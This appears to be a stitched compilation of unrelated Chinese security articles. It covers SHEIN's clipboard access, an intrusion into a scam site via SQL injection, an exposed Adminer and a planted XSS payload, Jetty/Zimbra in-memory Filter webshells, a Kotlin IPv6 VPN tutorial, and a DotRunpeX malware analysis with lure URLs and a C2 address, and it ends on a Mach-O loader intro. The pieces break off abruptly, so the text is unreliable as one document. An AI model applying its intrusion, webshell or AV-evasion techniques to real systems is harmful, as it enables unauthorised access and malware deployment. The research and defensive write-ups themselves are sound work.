圖7. 顯示應用剪貼板過濾的通話記錄

在上面的圖7 中,我們觀察到以下內容:

第28 行:調用函數com.zzkko.util.MarketClipboardPhaseLinker.f

第29-49 行:堆棧跟踪函數com.zzkko.util.MarketClipboardPhaseLinker.F

第53、55 行:調用ClipboardManager的hasPrimaryClip和getPrimaryClip方法

最後,執行對api-service[.]shein[.]com 的POST 請求。隨後,我們在Burp Proxy 中捕獲了以下請求,顯示了剪貼板內容到遠程服務器的傳輸:

9.png

圖8. 將剪貼板內容傳輸到遠程服務器

安卓剪貼板保護如涉及SHEIN 的此案例所示,Android 應用程序可以調用android.text.ClipboardManager API 來讀取或寫入設備剪貼板,而無需請求用戶批准或需要任何特定的Android 權限。雖然調用ClipboardManager API 可以讓應用程序簡化用戶的流程,例如快速選擇要復制的文本,但應用程序通常不需要這樣做,因為複制和粘貼通常由設備輸入法編輯器(鍵盤)執行,它是一個單獨的應用程序。

為了解決我們的研究發現和手頭更廣泛的問題,谷歌已經認識到與剪貼板訪問相關的風險,並對Android平台進行了以下改進以保護用戶:

在Android 10 及更高版本上,應用程序無法訪問剪貼板,除非它當前具有焦點(正在設備顯示屏上主動運行)或被設置為默認輸入法編輯器(鍵盤)。此限制可防止後台應用程序訪問剪貼板,但不會阻止此處描述的行為,因為SHEIN 應用程序在前台運行。

在Android 12 及更高版本上,當應用程序首次調用ClipboardManager 以從另一個應用程序訪問剪貼板數據時,會顯示一條toast 消息通知用戶。

10.png

圖9. 訪問設備剪貼板時屏幕底部顯示的Toast 消息示例

Android 13會在一段時間後清除剪貼板的內容,以提供額外程度的保護。

用戶可以通過注意剪貼板訪問消息來保護自己。如果消息意外顯示,他們應該假設剪貼板上的任何數據都可能受到損害,並且他們應該考慮刪除任何進行可疑剪貼板訪問的應用程序。

負責任的披露和行業合作提高了所有人的安全雖然我們不知道SHEIN 是否有任何惡意,但即使是應用程序中看似良性的行為也可能被惡意利用。針對剪貼板的威脅可能會使任何復制和粘貼的信息面臨被攻擊者竊取或修改的風險,例如密碼、財務詳細信息、個人數據、加密貨幣錢包地址和其他敏感信息。

我們建議用戶進一步遵循以下安全準則來防範此類風險和類似風險:

始終保持設備和已安裝的應用程序是更新後的最新狀態

切勿安裝來自不受信任來源的應用程序

考慮刪除具有意外行為的應用程序,例如剪貼板訪問toast 通知,並將該行為報告給供應商或應用程序商店運營商

在發現SHEIN Android 應用程序剪貼板行為後,我們與Google 的Android 安全團隊合作,確保從應用程序中刪除此行為。我們感謝Google 和SHEIN 團隊為解決該問題所做的努力和協作。

0x00 前言

去年逛微步,本来是想找几个ip练练溯源能力,无意间发现了一个杀猪盘。本文打马赛克如果有漏的地方请及时指出,也请各位不要去微步上边找我这个目标复现,本case已全权交由某官方处理。

0x01 简单的打点

Image

打开链接一看,一股子浓浓的“微盘”气息扑面而来,由于我们自己审计过这套源码,所以就直接找对应的地方打了个xss,结果呢他这竟然是微盘三开,没错,三开!

无奈之下还是用老思路,想办法让框架报错,看版本号,走一遍rce。

Image

得到版本号和物理路径,其实还有个小细节,可以看下图。

Image

这里有个SERVER_NAME和SERVER_ADDR,之前打同类项目的时候遇到过一个情况,通过让页面报错反馈出来的这俩信息里可能会带着真实ip,如果在找不到目标真实ip的情况下可以试试这个小技巧。

大家都知道,这种目标,其他的旁站,端口什么的收集都没啥卵用,所以我也不赘述了。

注册个账号上去看了看,也没啥能利用的点,这时候呢突然想起了goods/pid这里有一处注入,由于之前都是用我们自己的day打,所以从来没用过这个注入点,这不今天就来试了试。

Image

bingo!这就很奈斯了,知道物理路径那不就可以传shell了?不,并不可以,权限不够。

但是你看我发现了啥呢!

Image

database的信息莫名其妙显示出来了,这不就可以直接连了??显然是不可以的,因为没法外连。。。。。

0x02 直冲云霄了属于是

大概僵持了十分钟,你看看我发现了啥。

Image

adminer哈哈哈,这是咋发现的呢,之前提到过这套系统的一开,二开我们都审计过,在某些特定目录会有这么一个adminer数据库管理系统,所以我就也从本次目标上fuzzing了一下,这不就找到,然后连接上了。

找到嫌疑ip,简单的查查真实性,定定位啥的。

Image

果不其然,又在我们的大云南。

为了确保证据的完整性,我们还是得想办法去后台截个图啥的。因为现在是在库里嘛,所以就可以直接把盲打xss没成功的地方强制改成了xss的payload,然后诱导客服去触发就好了。

Image

Image

Image

然后就进来咯,后台的上传点在三开版本也给删了,数据库里拿shell权限不够,也开启不了所需的服务,所以最终也没能拿下shell。



转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg4MjcxMTAwMQ==&mid=2247486198&idx=1&sn=e41bc5d7e4aee7314beaab7f5830435d&chksm=cf53ca40f8244356493dff79a82e26a8c3ef89c50c4508de61cacf523527534d383e6d6b2445&scene=178&cur_album_id=2831511688645656580#rd

0x00 前言關於Tomcat Filter型內存馬的介紹資料有很多,但是Jetty Filter型內存馬的資料很少,本文將要參照Tomcat Filter型內存馬的設計思路,介紹Jetty Filter型內存馬的實現思路和細節。

0x01 簡介本文將要介紹以下內容:

Jetty調試環境搭建

實現思路

實現代碼

Zimbra環境下的Filter型內存馬

0x02 Jetty調試環境搭建1.png

0x03 實現思路相關參考資料:

https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java

https://blog.csdn.net/xdeclearn/article/details/125969653

參考資料1是通過JmxMBeanServer獲得webappclassloaer,進而通過反射調用相關方法添加一個Filter

參考資料2是通過Thread獲得webappclassloaer,進而通過反射調用相關方法添加Servlet型內存馬的方法

我在實際測試過程中,發現通過JmxMBeanServer獲得webappclassloaer的方法不夠通用,尤其是無法在Zimbra環境下使用

因此,最終改為使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Filter型內存馬。

0x04 實現代碼1.添加FilterJetty下可用的完整代碼如下:

2.png 3.png 4.png 5.png 6.png

2.枚舉Filter 7.png 8.png(2)通過Thread獲得webappclassloaer,通過反射讀取_filters屬性來枚舉Filter

9.png0x05 Zimbra環境下的Filter型內存馬在Zimbra環境下,思路同樣為使用Thread獲得webappclassloaer,進而通過反射調用相關方法添加Filter型內存馬

但是由於Zimbra存在多個名為WebAppClassLoader的線程,所以在添加Filter時需要修改判斷條件,避免提前退出,在實例代碼的基礎上直接修改即可

0x06 利用思路Filter型內存馬的優點是不需要寫入文件,但是會在服務重啟時失效

0x07 小結本文介紹了Jetty Filter型內存馬的實現思路和細節,給出了可供測試的代碼,分享了Zimbra環境的利用方法。

隨著聯網設備數量的不斷增加,對互聯網協議(IP) 地址的需求已經超過了互聯網協議版本4 (IPv4) 地址的供應,導致採用互聯網協議版本6 (IPv6) 來減少加載IPv4 地址。

在您的虛擬專用網絡(VPN) 服務中使用IPv6 可以幫助您實現更好的安全性、支持更多功能並訪問更大的地址空間。該協議可以讓您的解決方案面向未來,使其能夠在特定的5G 網絡中運行,並支持支持IPv6 的企業和專用網絡。

在本文中,我們在解釋了IPv4 和IPv6 協議之間的差異後展示瞭如何將IPv6 支持添加到應用程序VPN。在我們的示例中,即使我們無法直接訪問IPv6 網絡,我們也會通過網絡地址轉換64 (NAT64) 添加IPv6 支持,並解釋NAT64 在IPv6 中的作用。您可以在可能無法對網絡進行細粒度控制的受限環境中使用我們在此處介紹的方法。受限環境是指只有IPv6 或IPv4 網絡可用的環境。在這樣的環境中,不可能到達存在於不受支持的地址空間中的某些目標服務器。

虛擬專用網絡簡介VPN 技術允許多台計算機通過軟件定義的虛擬網絡在互聯網上安全、私密地連接。這些虛擬網絡的創建獨立於底層物理網絡基礎設施的物理拓撲。您可以通過以下步驟實現此目的:

通過物理網絡打包和中繼VPN 數據包的虛擬網絡接口之間的隧道流量

將整個過程抽象為VPN 客戶端

這是一個簡單的VPN 設置示例:

image.png

基本的VPN 設置

在此設置中,如果客戶端設備1 想要向客戶端設備2 發送數據,則會發生以下情況:

客戶端設備1 可以使用10.0.0.2 地址通過其VPN 接口向VPN 服務器發送數據包。

接口查詢其配置信息並確定數據包的下一個目的地。當接口必須將數據包發送到另一台物理主機時,作為VPN 服務器的網絡適配器的物理接口將連同標頭一起傳輸整個數據包。

這個新數據包包含物理網絡的路由信息。

目標主機收到新數據包,解包原來的VPN 數據包,並以同樣的方式繼續路由。

這是包裝後的數據包的樣子:

image.png

包裹的VPN 數據包

請注意,VPN 接口的軟件實現生成物理接口的數據包,允許它在VPN 數據包被路由之前執行其他操作。例如,物理接口的數據包可以加密整個有效載荷,這樣物理主機就無法訪問嵌套的VPN 數據包,這是一個封裝在另一個VPN 數據包中的數據包。

這種在路由數據包之前嵌套數據包的想法也可以應用於常規數據包。以下是這個想法在這種情況下的工作方式:

VPN 服務要求操作系統通過其虛擬接口路由數據包。

VPN 接口根據其配置文件路由數據包。

例如,VPN 接口可以將數據包發送到VPN 服務器,VPN 服務器解壓縮到達的數據包,將它們代理到原始目的地,然後將響應返回給VPN 客戶端。

大多數人在考慮VPN 的工作原理時都會想到這種情況。虛擬專用網絡允許對客戶端的出站流量進行加密和代理,以提供額外的安全級別並向客戶端的互聯網服務提供商(ISP) 隱藏信息。

VPN 是在通信協議、加密和身份驗證的幫助下實現的,這些協議有助於在Internet 上安全地加密和傳輸數據。在下一節中,我們將討論哪些通信協議對於實施VPN 解決方案至關重要。

IPv4 和IPv6 概述及其與VPN 的連接大多數VPN 實施在開放系統互連模型的網絡層上運行。根據這個模型,VPN 實現處理IP 數據包並處理它們的路由。這需要VPN 網絡接口背後的軟件來實現Internet 協議,也可能需要一些傳輸層協議。

網絡協議是一組規則,描述數據的結構以及對等方應如何處理它。互聯網協議是一種特定的網絡協議,可以使互聯網上的設備之間進行通信。使用VPN 時,您通常需要使用多種協議,例如Internet 協議或傳輸控制協議(TCP),這些協議有助於通過Internet 在設備之間進行安全通信。 VPN 中使用IPv4 和IPv6 在設備之間傳輸數據。此外,已實現的TCP 可以根據從網絡接收到的原始字節重建TCP 數據包,並創建符合TCP 規則的新TCP 數據包。

實現一個網絡通信協議通常包括以下步驟:

編寫用於創建和解析數據包的函數

實現一個狀態機,它根據處理過的數據包的內容而改變

傳送數據包的方法不是協議的一部分,可以在協議實現過程之外進行處理。

現在,讓我們仔細看看兩個特定的協議:IPv4 和IPv6。這些是主要的互聯網協議,其中IPv4 是最常用的,而IPv6 是最新的。

IPv6 與IPv4:有何區別? IPv4是目前世界上使用最廣泛的協議,儘管它不是Internet 協議的最新版本。 IPv4 地址是32 位數字,以十進製表示法表示為由點分隔的四組數字;例如,192.168.0.1。

IPv4 最多支持大約43 億個唯一地址,因為地址字段只有4 個字節(或32 位)長。 IPv6使用128 位地址並提供更大的地址空間。這是IPv6 相對於IPv4 的主要優勢。由於連接互聯網的設備數量早已超過40 億大關,IPv4 的地址空間已經完全耗盡。在IPv6 網絡中,可能的地址數量為2^128,或大約340 六十億,大約是43 億的79 萬億倍。通過IPv4 網絡傳輸IPv6 流量還有幾個重要的好處:

image.png

IPv6 與IPv4 相比的優勢

基本IPv6 標頭僅包含協議運行的最重要信息。如果對等方需要在標頭中攜帶額外信息,他們可以將各種可選標頭鏈接在一起。這種方法減少了協議最常見用例的開銷,例如從A 向B 發送數據包。

image.png

IPv4 與IPv6 標頭

現在您已經知道切換到IPv6 協議的主要好處,讓我們來看看如何在IPv4 基礎設施上路由IPv6 流量。

使用IPv6 提高VPN 安全性要介紹任何協議,您需要閱讀文檔並實現狀態機和處理特定於所選協議的數據包的功能。但在此步驟中,您可能還會遇到一些問題。讓我們看一下在VPN 服務中實現IPv6 支持的標準機制。

當您允許來自IPv4 的IPv6 流量時,您可以實現以下目標:

允許客戶端應用訪問IPv6 網絡上的服務器

支持純IPv6 環境中的網絡

實施IPv6 協議的過程很簡單。 VPN 服務從其由操作系統管理的虛擬網絡接口獲取所有客戶端數據。此數據包括實際的協議標頭,直到VPN 服務必須處理的IP 標頭。 VPN 服務還必須能夠根據從虛擬網絡接口接收到的信息構建響應數據包。

使用IPv6 協議,處理數據包相當簡單:

VPN 服務會存儲原始標頭,直到它從目標服務器獲取響應。

VPN 服務通過交換源地址和目標地址並更新與負載相關的字段來重用標頭來構造響應數據包。

新標頭添加到響應數據之前,並寫回虛擬接口供操作系統處理。

您還可以使用其他編程語言在您的應用程序中實現VPN 服務,例如C/C++、Java、Python 和Rust。在本文中,我們探索了VPN 服務的Kotlin實現。當您需要實施每應用VPN 時,Kotlin 有一些好處,它允許您為每個應用創建單獨的VPN 連接以隔離網絡流量:

image.png

假設我們的VPN 服務可以直接訪問虛擬網絡接口的文件描述符。該服務通過多個套接字轉發數據包的有效負載,將數據包代理到外部世界。套接字本身和相關的元數據存儲在會話抽像中。然後,數據包由SessionHandler類處理。

以下是SessionHandler類在處理數據包時所做的事情:

解析數據包

根據存儲在相應會話中的信息決定如何處理它們

轉發數據包的內容

處理響應

在將響應放回網絡接口之前為客戶端重新打包響應

image.png

由於虛擬網絡接口由文件描述符表示,因此從中接收數據包就像從常規文件中讀取數據一樣容易:

image.png

原始字節很難處理,尤其是當您需要將它們解釋和操作為複雜的數據結構(如協議標頭)時。在Kotlin 中,可以創建可以解釋原始字節並提供用於更改標頭字段的簡單接口的精簡包裝器。此類包裝器提供與標頭中每個字段相對應的函數,提供對它們的輕鬆讀寫訪問。

您還可以將所有這些函數轉換為具有自定義getter 和setter 的字段。在這種情況下,使用包裝器的客戶端代碼看起來就像在操作常規數據類。 IP 標頭的包裝器如下所示:

classIPWrapper(bytes:ByteArray){

//wrapthebytesintotheByteBufferclassforeasierbytemanipulationandextrafunctionality

//besuretoaccountfortheByteBuffer'sstatefulnessandspecifyindicesexplicitlywhenaccessing

//thebytes

privatevalbuffer=ByteBuffer.wrap(bytes).order(ByteOrder.BIG_ENDIAN)

//theIPversionisstoredinthefirst4bitsoftheheader

varipVersion

//togetit,readthefirstbyteandshiftitby4bitstotheright

get()=(buffer.get(0).toInt()shr4)

//andtosetit,shiftthedesiredvaluetotheleftby4bitsandperformthebitwiseshiftOR

//onthefirstbyteoftheunderlyingbytearray

set(value){buffer.put(0,((valueshl4)or(buffer.get(0).toInt()and0x0F)).toByte())}

//IPv4andIPv6headerscontaindifferentfields,soifclientcodeattemptstoaccessafieldthat

//isnotpresentintheunderlyingpacket,throwanexception

varheaderLength

get()=

//checktheipversionbycallingtheipVersionmemberdeclaredearlier

if(ipVersion==4)(buffer.get(0)and0x0F)

//IPv6headerdoesnothaveafieldfortheheaderlength,sothereisnovaluethisgettercanreturn

elsethrowException('IPv6doesn'thaveaHeaderLengthfield!')

set(value){

//similarly,ifthefieldisthere,setit

if(ipVersion==4)buffer.put(0,((valueand0x0F)or(buffer.get(0).toInt()and0xF0)).toByte())

//ifit'snot,throwanexception

elsethrowException('IPv6doesn'thaveaHeaderLengthfield!')

}

//IPheaderscanbeofdifferentversions,andit'sconvenienttohaveasinglewrapperclass

//forbothIPv4andIPv6

varsrcIp

get()=InetAddress.getByAddress(run{

val(startPos,len)=

if(ipVersion==4)listOf(SOURCE_IP_POS_IPV4,ADDR_LEN_IPV4)

elselistOf(SOURCE_IP_POS_IPV6,ADDR_LEN_IPV6)

//whengettingtheIPaddress,simplycopythebytesthatrepresentitandpasstheresult

//intoJava'sInetAddress.getByAddressfunctionthatwilldotherestoftheparsing

buffer.array().copyOfRange(startPos,startPos+len)

})

set(value){

value.address.copyInto(

buffer.array(),

if(ipVersion==4)SOURCE_IP_POS_IPV4

elseSOURCE_IP_POS_IPV6

)

}

//dothesameforthedestinationaddress

vardestIp

get()=/*.*/

set(value)=/*.*/

//otherfieldscanbeimplementedinasimilarfashion

/*.*/

//thiswrappercanalsohavevariousconveniencefunctions;forexample,itcanprovide

//meansforeasilygettingthewrappedpacket'sheaderstoquicklycreateresponseheaders

funcopyHeaders()=/*.*/

//orhandlethechecksumcomputationsfortheIPandthenestedtransportheaders

funupdateChecksums()=/*.*/

}一旦SessionHandler 類收到數據包,它就可以將數據包字節放入IPWrapper對象並使用IPWrapper 類從IP 標頭訪問它需要的任何信息。例如,在創建響應數據包時,SessionHandler類可以簡單地複制標頭並更新字段,而不是創建一個全新的標頭:

image.png

您可以將生成的響應數據包寫回VPN 的網絡接口:

image.png

一旦SessionHandler 類將數據包的字節放入IPWrapper 類,路由軟件將解析VPN 服務生成的IP 標頭並將數據包路由到其目的地。在這種情況下,目標是本地應用程序,其出站流量已通過操作系統的路由規則重定向到VPN 的網絡接口。

現在,讓我們看看如果您只能訪問IPv4 網絡,如何檢查支持IPv6 的VPN。

使用NAT64 測試IPv6 實現雖然實施協議相對簡單,但測試才是真正挑戰的開始。那麼,NAT64、IPv4、IPv6是如何相互連接的呢?

IPv6 明顯優於IPv4,但支持IPv6 的基礎設施尚不存在。世界上許多ISP 仍然不支持IPv6,因此他們無法將IPv6 轉換為IPv4,反之亦然。因此,他們的客戶端無法訪問任何使用IPv6 的服務器。相反的情況也存在:有些網絡僅使用IPv6 運行,不處理IPv4 數據包。

要解決這些不兼容問題,您可以使用以下轉換機制之一:

image.png

IPv6 過渡機制

對於下面描述的方法,我們使用了NAT64——一種將所有40 億個IPv4 地址映射到IPv6 地址空間的保留塊的轉換機制。我們的客戶特別要求使用NAT64 在IPv4 地址和IPv6 地址之間進行轉換。

讓我們看看這種機制在實踐中是如何工作的,以及NAT64 為IPv6 做了什麼。假設連接使用不同IP 版本的網絡的路由器收到一個IPv6 數據包,其目標地址來自NAT64 地址範圍。這是接下來發生的事情:

路由器從收到的IPv6 數據包中刪除96 位長的NAT64 前綴,留下32 位的IPv4 地址。

之後,路由器為數據包創建一個新的IPv4 標頭,以便它可以繼續在網絡中傳輸。

當路由器收到IPv4 數據包並必須通過IPv6 網絡路由它時,也會發生同樣的情況:

路由器通過添加NAT64 前綴將IPv4 地址轉換為IPv6 地址。

路由器為數據包重新創建IP 標頭,然後通過IPv6 網絡路由數據包。

您可以使用這些轉換機制來測試IPv6 實現,尤其是在IPv6 網絡不可用的地方。要查看您的VPN 服務如何在純IPv4 環境中處理IPv6 數據包,請在您服務的VPN 接口上使用NAT64 範圍內的目標地址打開IPv6 套接字:

image.png

套接字傳輸

如果您的VPN 服務正常運行,它將接收這些數據包並像處理常規IPv6 數據包一樣處理它們。當這些數據包最終通過物理網絡接口進行路由時,它們將到達一個路由器,該路由器會將它們轉換為常規的IPv4 數據包。然後,您的VPN 服務將能夠從目標服務接收響應數據,為客戶端創建響應IPv6 數據包,並通過其虛擬接口發送。

結論雖然IPv4 仍然更受歡迎,但IPv6 為用戶和開發人員提供了更多好處。在本文中,我們解釋了為什麼需要在您的應用程序中將IPv4 轉換為IPv6,以及如何將對NAT64 的支持添加到您的應用程序中。在您無法完全控製網絡的受限環境中,也允許使用NAT64 將IPv6 地址映射到IPv4 目標。

微信截图_20230319161953.png

在過去的幾個月裡,CPR一直在監測DotRunpeX惡意軟件以及它在野外的使用情況。監測顯示,這種新型的網絡注入器仍在不斷發展中。 CPR發現了幾種不同的傳播方法,在發現的所有示例中,DotRunpeX都是第二階段感染的一部分。這種新的威脅被用來傳播許多不同的惡意軟件家族,主要與竊取程序、RAT、加載程序和下載程序有關。

與新版DotRunpeX相關的最早示例的日期為2022.10.17。關於這一威脅的首次公開信息發布日期為2022.10.26年。

本研究的主要主題是對兩個版本的DotRunpeX注入器進行深入分析,對比它們之間的相似之處,並介紹用於分析新版本的DotRunpeX的PoC技術,因為它是由自定義版本的KoiVM .NET protector.虛擬化傳播的。

主要發現Check Point Research(CPR)對DotRunpeX注入器及其與舊版本的關係進行了深入分析;DotRunpeX受到虛擬化(KoiVM的自定義版本)和混淆(ConfuserEx)的保護;

調查顯示,DotRunpeX在野外被用來傳播許多已知的惡意軟件家族;

通常通過網絡釣魚電子郵件作為惡意附件和偽裝成常規程序的網站進行傳播;

CPR確認並詳細說明了惡意使用易受攻擊的進程資源管理器驅動程序來禁用反惡意軟件服務的功能;

本文會介紹幾種PoC技術,這些技術已被批准用於反向工程受保護或虛擬化的dotnet代碼;

DotRunpeX是一種使用Process Hollowing技術在.NET中編寫的新註入器,用於感染各種已知惡意軟件家族的系統。儘管這種注入器是新的,但與舊版本有一些相似之處。此註入器的名稱基於其版本信息,在dotRunpeX的兩個版本中都是一樣的,在CPR分析的所有示例中都是一致的,並且包含ProductName–RunpeX.Stub.Frame。

在CPR監測這一威脅的同時,CPR發現了一些主要由獨立研究人員公開共享的信息,這些信息與DotRunpeX的功能有關,但被錯誤地歸因於另一個著名的惡意軟件家族。

CPR通過對這一威脅連續進行幾個月的監測,CPR獲得了足夠的信息來區分第一階段和第二階段(DotRunpeX)加載程序,但沒有跡象表明它們之間存在關係。在各種下載程序和加密貨幣竊取程序中,CPR發現了這些由dotRunpeX傳播的已知惡意軟件家族:

AgentTesla

ArrowRAT

AsyncRat

AveMaria/WarzoneRAT

BitRAT

Formbook

LgoogLoader

Lokibot

NetWire

PrivateLoader

QuasarRAT

RecordBreaker–RaccoonStealer2.0

Redline

Remcos

Rhadamanthys

SnakeKeylogger

Vidar

XWorm

1.png

DotRunpeX傳播的惡意軟件家族

從發生的時間順序來看,基於DotRunpeX示例的編譯時間戳,這種新的威脅主要在2022年11月和2023年1月開始流行。

2.png

DotRunpeX時間軸——編譯時間戳

感染途徑DotRunpeX注入器通常是原始感染的第二階段。典型的第一階段是.NET加載程序/下載程序的非常不同的變體。第一階段加載程序主要通過釣魚電子郵件作為惡意附件(通常是“.iso”、“.img”、“.zip”和“.7z”的一部分)或通過偽裝成常規程序實用程序的網站進行傳播。除了最常見的感染途徑外,DotRunpeX的客戶還很善於濫用谷歌廣告,甚至通過木馬惡意軟件構建器構建其他潛在的攻擊者。

釣魚郵件“Transaction Advice 502833272391_RPY - 29/10/2022”將第一階段加載程序作為惡意“.7z”附件的一部分傳播第一階段加載程序,導致加載DotRunpeX(SHA256:“457cfd6222266941360fdbe36742486ee12419c95f1d7d3502243e795de28200e”)。

3.png

釣魚郵件“Transaction Advice 502833272391_RPY - 29/10/2022”

釣魚網站會偽裝成常規程序實用程序(Galaxy Swapper、OBS Studio、洋蔥瀏覽器、Brave Wallet、LastPass、AnyDesk、MSI Afterburner),並提供第一階段加載程序,導致dotRunpeX在第二階段的一部分被感染。

偽裝成Galaxy Swapper的網站:https://www.galaxyswapper[.]ru/:

4.png

在谷歌搜索Galaxy Swapper得到的結果“https://www.galaxyswapper[.]ru/”

下載重定向到https://gitlab[.]com/forhost1232/galaxyv19.11.14/-/raw/main/galaxyv19.11.14.zip。

5.png

“https://www.galaxyswapper[.]ru/”上的下載按鈕重定向到一個木馬程序

偽裝成LastPass密碼管理器的網站:http://lastpass[.]shop/en/

6.png

網站“http://lastpass[.]shop/en/”偽裝成LastPass密碼管理器

LastPass密碼管理器的假冒網站在調查時已經關閉。儘管如此,CPR可以確認該假冒軟件是從“最終URL”https://gitlab[.]com/forhost1232/lastpassinstaller/-/raw/main/LastPassInstaller.zip下載的。

7.png

“http://lastpass[.]shop/en/”上的下載按鈕重定向到一個木馬程序

GitLab頁面https://gitlab[.]com/forhost1232包含數十個被DotRunpeX惡意軟件木馬化的程序。

8.png

GitLab存儲庫“https://gitlab[.]com/forhost1232”上的數十個木馬程序

在前面提到的GitLab頁面上,所有的木馬程序都包含了主.NET應用程序,並通過覆蓋層進行了放大,以避免使用沙盒進行掃描。

9.png

由GitLab存儲庫' https://gitlab[.]com/forhost1232 '提供的木馬程序示例

上面提到的帶有覆蓋的.NET應用程序是典型的第一階段,其行為就像帶有簡單混淆的dotnet加載程序。這些不同的加載程序變體在第二階段使用反射來加載DotRunpeX注入器。其中有些非常簡單,有些則更高級。

簡單的第一階段加載程序(System.Reflection.Assembly.Load()方法):

10.png

簡單的第一階段加載程序

下面可以看到更高級的第一階段加載程序的示例(使用AMSI Bypass和DynamicMethod通過反射加載和執行第二階段加載程序)。這種高級加載程序的優點是沒有直接引用System.Reflection.Assembly.Load()方法,因此它可以避免檢測依賴於.NET元數據靜態解析的引擎。

11.png

使用AMSI繞過和DynamicMethod的更高級的第一階段加載程序

後一種的去混淆形式如下圖所示:

12.png

更高級的第一階段加載程序的去混淆形式

從這些類型的加載程序中提取第二階段(DotRunpeX階段)的編程方式可以簡單地使用AsmResolver和反射來實現,如下所示。

13.png

使用AsmResolver和反射從第一階段加載程序提取DotRunpeX

值得注意的是,那些指向GitLab頁面的釣魚網站的示例只與一個活動有關,在這個活動中,DotRunpeX注入器總是負責注入帶有C2–77.73.134.2的Redline惡意軟件。

除了前面提到的最常見的感染途徑外,CPR還觀察到了一個非常有趣的感染途徑示例,在這個示例中,DotRunpeX的一位客戶可能已經厭倦了以普通受害者為目標,並決定以其他潛在的攻擊者為目標。 Redline構建器Redline_20_2_crack.rar(SHA256: “0e40e504c05c30a7987785996e2542c332100ae7ecf9f67ebe3c24ad2468527c”)被下載程序木馬化,該下載程序使用反射來加載dotRunpeX作為構建器的隱藏“添加功能”。

14.png

木馬化的Redline構建器的文件夾結構

事實證明,在Redline的構建過程中,根據需求進行配置,使用者還將獲得另一個Redline示例。

15.png

使用反射來加載DotRunpeX的下載程序,該下載程序傳播另一個Redline惡意軟件

舊版本的DotRunpeX:

使用自定義混淆:僅對名稱進行混淆;

配置有限(有效負載注入目標、提升+UAC繞過、有效負載解密的XOR密鑰);

只有一種UAC繞過技術;

使用簡單的XOR對要注入的主要有效負載進行解密;

使用D/Invoke類似的技術來調用本機代碼(基於使用GetDelegateForFunctionPointer()),但使用誘餌系統調用例程;

使用D/Invoke重新映射' ntdll.dll '

新版本的DotRunpeX:

由自定義版本的KoiVM虛擬程序保護;

高度可配置(禁用反惡意軟件服務,反虛擬程序,反沙盒,持久性設置,有效負載解密密鑰,UAC繞過方法);

更多的UAC繞過技術;

使用簡單的XOR來解密要注入的主要有效負載(在最新開發的版本中省略了);

濫用procexp驅動程序(Sysinternals)阻止受保護進程(反惡意軟件服務);

基於俄羅斯procexp驅動程序的標誌名稱Иисус.sys 翻譯過來就是“jesus.sys”;

兩個版本的相似之處:

用.NET編寫的64位可執行文件“.exe”;

用於注入幾個不同的惡意軟件家族;

使用簡單的XOR對要注入的主要有效負載進行解密;

可能使用相同的UAC繞過技術(新版DotRunpeX提供了更多技術);

16.png

UAC繞過技術

使用相同的版本信息;

17.png

DotRunpeX版本信息

使用相同的.NET資源名稱BIDEN_HARRIS_PERFECT_ASSHOLE來保存要注入的加密有效負載:

18.png

新舊版本的Dotnet資源名

使用相同的代碼注入技術——Process Hollowing;

使用相同的結構化類定義本機委託;

19.png

用於定義Native委託的相同結構化類

完整的技術分析——舊版本的DotRunpeX對於舊版本的DotRunpeX的分析,使用了示例SHA256:“65cac67ed2a084beff373d6aba6f914b8cba0caceda254a857def1df12f5154b”。這個示例是一個用.NET編寫的64位可執行文件“.exe”,實現了自定義的混淆——只對名稱進行混淆。 CPR分析的所有示例的版本信息都是一致的,CPR可以注意到ProductName - RunpeX.Stub.Framework,這可能是某種CPR正在處理網絡注入器的第一個提示。

20.png

舊DotRunpeX版本信息

為了方便介紹,CPR對方法名稱、參數和局部變量進行了部分清理。就在Main()方法中,CPR可以看到資源BIDEN_HARRIS_PERFECT_ASSHOLE的簡單XOR解密,該資源包含要注入的加密有效負載。 CPR分析的所有示例的資源名稱都是一致的。

21.png

主要方法導致嵌入式有效負載的簡單XOR解密

CPR還可以看到具有類名UAC的名稱空間UACBypass,此類實現了UAC(用戶帳戶控制)繞過方法,但未配置為在此示例中使用。

22.png

UAC繞過方法

方法Inject()實現了一種稱為“Process Hollowing”的代碼注入技術。下圖顯示了一個正在生成處於掛鉤狀態的進程。

23.png

創建掛鉤的流程作為Process Hollowing技術的一部分

這種技術在惡意軟件開發領域並不新鮮。儘管如此,一旦CPR檢查了這個示例的P/Invoke(允許從託管代碼訪問非託管庫中的結構、回調和函數的技術)定義的方法,就可以立即發現一些有趣的東西。這些方法可以在ImplMap表中看到,該表是.NET元數據的一部分。

24.png

ImplMap表——舊版本的DotRunpeX

必須使用某些WIN API或NT API來執行Process Hollowing技術。正如CPR在ImplMap表中看到的那樣,缺少了一些最關鍵的API。更具體地說,CPR看不到任何與取消映射和寫入遠程進程內存相關的API。這背後的原因是使用D/Invoke框架來調用某些通常會引起注意的NTAPI例程。

D/Invoke包含功能強大的原語,這些原語可以智能地組合在一起,以精確地從磁盤或內存動態調用非託管代碼。它依賴於dotnet方法GetDelegateForFunctionPointer()的使用和相應的委託定義。

在這種情況下,NT API ZwOpenSection、ZwMapViewOfSection、ZwUnmapViewOfSection、NtClose、NtWriteVirtualMemory、NtResumeThread和RtlMoveMemory是通過D/Invoke實現的。委託的相應定義如下所示。

25.png

用於定義Native委託的類

更有趣的是,通過D/Invoke實現的4個NT api (ZwUnmapViewOfSection, NtWriteVirtualMemory, NtResumeThread, RtlMoveMemory)使用了一些可以被認為是添加的PoC技術,而不是原始D/Invoke框架的一部分——系統調用補丁。例如,CPR可以通過CallNtWriteVirtualMemory()方法檢查NtWriteVirtualMemory調用是如何實現的。

26.png

導致系統調用修復的D/Invoke實現示例

首先,我們可以看到MapDllandGetProcAddress()方法中D/Invoke框架的用法發生了變化。每次調用此方法時,它都會重新映射指定的庫,並獲得所需函數的地址。在返回所需函數的地址之前,使用指針算術將指針移動4個字節,使其指向系統調用號的地址。在這種情況下,' ntdll.dll '模塊被重新映射,返回NT API例程NtWriteVirtualMemory的地址,偏移量為4個字節。

27.png

改變了D/Invoke的用法,它返回指

在上一篇文章中,我們介紹瞭如何修復dyld以恢復內存執行。這種方法的優點之一是,我們將加載Mach-O二進製文件的許多複雜工作委託給macOS。但如果我們在不使用dyld的情況下,創建我們自己的加載器呢?所有這些字節映射是如何工作的?

接下來,我們將介紹如何在不使用dyld的情況下在MacOS Ventura中為Mach-O包構建內存加載器,以及Mach-O文件的組成,dyld如何處理加載命令以將區域映射到內存中。

